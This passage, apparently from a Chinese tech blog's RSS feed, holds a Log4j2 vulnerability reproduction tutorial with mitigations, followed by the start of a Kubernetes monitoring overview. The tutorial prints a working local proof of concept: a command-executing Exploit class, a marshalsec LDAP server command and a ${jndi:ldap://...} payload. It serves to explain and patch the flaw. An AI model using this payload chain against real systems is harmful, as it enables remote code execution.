&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;open&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;/System/Applications/Calculator.app&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Runtime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;waitFor&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;完成执行漏洞代码&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Exploit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exploit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Exploit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这段程序是打开我电脑上的计算器程序。&lt;/p&gt;
&lt;p&gt;注意：这里的程序不要写 package 包名，我在这里浪费了不少时间，写包名可能会导致后面执行的时候报错。&lt;/p&gt;
&lt;p&gt;然后我们找一个空目录，把 java 文件 copy 过去，接着编译它：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;javac Exploit.java
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;接着我在当前目录下执行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; python -m SimpleHTTPServer 8800
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;目的是启动一个 HTTP Server, 当然你也可以用 nginx 或者 java 程序来做，只要能够充当 HTTP Server 的都可以。&lt;/p&gt;
&lt;p&gt;启动后你可以在浏览器里验证一下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/004-80d5f750.jpg"&gt;&lt;/p&gt;
&lt;p&gt;再来我们在本地启动一个 LDAP Server。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://github.com/mbechler/marshalsec" target="_blank" rel="noopener"
 &gt;https://github.com/mbechler/marshalsec&lt;/a&gt; 从这里下载代码然后执行打包编译：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;mvn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;clean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;DskipTests&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;打包后，到 target 目录下执行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer &amp;#34;http://127.0.0.1:8800/#Exploit&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面命令的目的是启动 LDAP Server，并且把我们的程序注册到 LDAP Server 上。具体来说是把带有 Http Server 地址（上面用 python 启动的 HTTP server）的 url 注册到 LDAP Server 上。&lt;/p&gt;
&lt;p&gt;正常启动后 LDAP 会开始监&lt;code&gt;1389&lt;/code&gt; 端口&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/005-0547e1ee.jpg"&gt;&lt;/p&gt;
&lt;p&gt;最后我们编写记录日志程序：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Logger&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LogManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getLogger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Log4jDemo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;com.sun.jndi.ldap.object.trustURLCodebase&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;${jndi:ldap://127.0.0.1:1389/#Exploit}&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;执行后效果：&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/006-ef397864.jpg"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，我的计算器被调起了。既然可以执行语句和代码逻辑，那么像 &lt;code&gt;rm -rf&lt;/code&gt; 、&lt;code&gt;删库&lt;/code&gt; 这种操作也可以执行的！&lt;/p&gt;
&lt;p&gt;上面这段程序中，有一行代码要注意：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; System.setProperty(&amp;#34;com.sun.jndi.ldap.object.trustURLCodebase&amp;#34;, &amp;#34;true&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果设置成 false 或者注释掉这行代码，则计算器都不会被调起，即攻击程序不会被执行。原因是 ：&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;“&lt;/p&gt;
&lt;p&gt;Java 最终也修复了这个利用点，对 LDAP Reference 远程工厂类的加载增加了限制，在 Oracle JDK 11.0.1、8u191、7u201、6u211 之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为 false，还对应的分配了一个漏洞编号 CVE-2018-3149&lt;/p&gt;
&lt;p&gt;”&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;那是不是意味着，高版本的 JDK 就不会有漏洞呢？&lt;/p&gt;
&lt;p&gt;不是的，还是有办法攻击，不要抱有侥幸心理，具体可以参考：https://paper.seebug.org/942/#4-jdk-8u191&lt;/p&gt;
&lt;h2 id="解决方案"&gt;&lt;a href="#%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88" class="header-anchor"&gt;&lt;/a&gt;解决方案
&lt;/h2&gt;&lt;h3 id="改配置"&gt;&lt;a href="#%e6%94%b9%e9%85%8d%e7%bd%ae" class="header-anchor"&gt;&lt;/a&gt;改配置
&lt;/h3&gt;&lt;p&gt;网上常说的临时补救方案是修改配置如：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true&lt;/li&gt;
&lt;li&gt;修改配置 log4j2.formatMsgNoLookups=True&lt;/li&gt;
&lt;li&gt;将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;原理其实都一样，就是禁用 log4j2 的 lookup 。&lt;/p&gt;
&lt;h3 id="升级版本"&gt;&lt;a href="#%e5%8d%87%e7%ba%a7%e7%89%88%e6%9c%ac" class="header-anchor"&gt;&lt;/a&gt;升级版本
&lt;/h3&gt;&lt;p&gt;目前官方 2.15.0 版本已经修复了这个问题，可以升级这个版本，笔者利用上面的程序修改了版本号后，发现漏洞无法再复现了&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;&amp;lt;!-- 可以在这里修改 log4j 依赖版本--&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;log4j2.version&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;2.15.0&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;log4j2.version&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/007-de323885.jpg"&gt;&lt;/p&gt;
&lt;p&gt;当然你也可以手动编译 log4j2 的源码，然后上传到自己的 maven 私服，再修改公共依赖升级版本。&lt;/p&gt;
&lt;p&gt;注意编译 log4j2 源码时需要 1.9 以上版本的 jdk，因为它有这么个东西&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/008-59a797ac.jpg"&gt;&lt;/p&gt;
&lt;h2 id="参考"&gt;&lt;a href="#%e5%8f%82%e8%80%83" class="header-anchor"&gt;&lt;/a&gt;参考
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://paper.seebug.org/942/#4-jdk-8u191" target="_blank" rel="noopener"
 &gt;https://paper.seebug.org/942/#4-jdk-8u191&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://mp.weixin.qq.com/s/FouhOPacCOMYq153xaw-3A" target="_blank" rel="noopener"
 &gt;https://mp.weixin.qq.com/s/FouhOPacCOMYq153xaw-3A&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Kubernetes监控体系总结</title><link>https://xiaobox.github.io/p/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/</link><pubDate>Mon, 15 Nov 2021 12:21:02 +0000</pubDate><guid>https://xiaobox.github.io/p/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/</guid><description>&lt;img src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/cover.jpg" alt="Featured image of post Kubernetes监控体系总结" /&gt;&lt;h2 id="基本概念"&gt;&lt;a href="#%e5%9f%ba%e6%9c%ac%e6%a6%82%e5%bf%b5" class="header-anchor"&gt;&lt;/a&gt;基本概念
&lt;/h2&gt;&lt;h3 id="cadvisor"&gt;&lt;a href="#cadvisor" class="header-anchor"&gt;&lt;/a&gt;cAdvisor
&lt;/h3&gt;&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/001-46ee78b3.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的容器中，然后发布到任何流行的 Linux/Windows/Mac 机器上。容器镜像正成为一个新的标准化软件交付方式。为了能够获取到 Docker 容器的运行状态，用户可以通过 Docker 的 stats 命令获取到当前主机上运行容器的统计信息，可以查看容器的 CPU 利用率、内存使用量、网络 IO 总量以及磁盘 IO 总量等信息。&lt;/p&gt;
&lt;p&gt;显然如果我们想对监控数据做存储以及可视化的展示，那么 docker 的 stats 是不能满足的。&lt;/p&gt;
&lt;p&gt;为了解决 docker stats 的问题（存储、展示），谷歌开源的 cadvisor 诞生了，cadvisor 不仅可以搜集一台机器上所有运行的容器信息，还提供基础查询界面和 http 接口，方便其他组件如 Prometheus 进行数据抓取，或者 cAdvisor + influxDB + grafana 搭配使用。cAdvisor 可以对节点机器上的资源及容器进行实时监控和性能数据采集，包括 CPU 使用情况、内存使用情况、网络吞吐量及文件系统使用情况&lt;/p&gt;
&lt;p&gt;监控原理&lt;/p&gt;
&lt;p&gt;cAdvisor 使用 Go 语言开发，利用 Linux 的 cgroups 获取容器的资源使用信息，在 K8S 中集成在 Kubelet 里作为默认启动项，官方标配。&lt;/p&gt;
&lt;p&gt;Docker 是基于 Namespace、Cgroups 和联合文件系统实现的&lt;/p&gt;
&lt;p&gt;Cgroups 不仅可以用于容器资源的限制，还可以提供容器的资源使用率。不管用什么监控方案，底层数据都来源于 Cgroups&lt;/p&gt;
&lt;p&gt;Cgroups 的工作目录 /sys/fs/cgroup 下包含了 Cgroups 的所有内容。Cgroups 包含了很多子系统，可以对 CPU，内存，PID，磁盘 IO 等资源进行限制和监控。&lt;/p&gt;
&lt;p&gt;cAdvisor 运行原理，如下图&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/002-3731be65.jpg"&gt;&lt;/p&gt;
&lt;h3 id="prometheus"&gt;&lt;a href="#prometheus" class="header-anchor"&gt;&lt;/a&gt;Prometheus
&lt;/h3&gt;&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/003-9dea7ba3.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Prometheus 是一套开源的监控报警系统。主要特点包括多维数据模型、灵活查询语句 PromQL 以及数据可视化展示等&lt;/p&gt;
&lt;p&gt;架构图&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-15-kubernetes-jian-kong-ti-xi-zong-jie/004-b737ebd1.jpg"&gt;&lt;/p&gt;
&lt;p&gt;基本原理&lt;/p&gt;
&lt;p&gt;Prometheus 的基本原理是通过 HTTP 协议周期性抓取被监控组件的状态，任意组件只要提供对应的 HTTP 接口就可以接入监控。不需要任何 SDK 或者其他的集成过程。这样做非常适合做虚拟化环境监控系统，比如 VM、Docker、Kubernetes 等。输出被监控组件信息的 HTTP 接口被叫做 exporter 。目前互联网公司常用的组件大部分都有 exporter 可以直接使用，比如 Varnish、Haproxy、Nginx、MySQL、Linux 系统信息（包括磁盘、内存、CPU、网络等等）。&lt;/p&gt;
&lt;p&gt;服务过程&lt;/p&gt;
&lt;ul&gt;
